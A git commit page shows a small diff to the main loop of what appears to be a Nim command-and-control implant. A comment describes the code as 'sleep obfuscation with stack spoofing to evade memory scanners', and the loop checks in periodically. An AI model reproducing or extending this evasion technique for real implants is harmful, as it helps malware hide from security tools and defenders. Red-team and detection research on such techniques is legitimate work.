Split sleep obfuscation into separate functions to increase readability and changed to manual API resolution.

This commit is contained in:
Jakob Friedl
2025-09-04 12:02:50 +02:00
parent 5ebe5d3598
commit e297bb2d76
2 changed files with 410 additions and 261 deletions

View File

@@ -36,8 +36,8 @@ proc main() =
while true:
# Sleep obfuscation with stack spoofing to evade memory scanners
var spoofStack = true
sleepObfuscate(ctx.sleep * 1000, FOLIAGE, spoofStack)
var spoof = true
sleepObfuscate(ctx.sleep * 1000, spoofStack = spoof)
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
echo "\n", fmt"[*] [{date}] Checking in."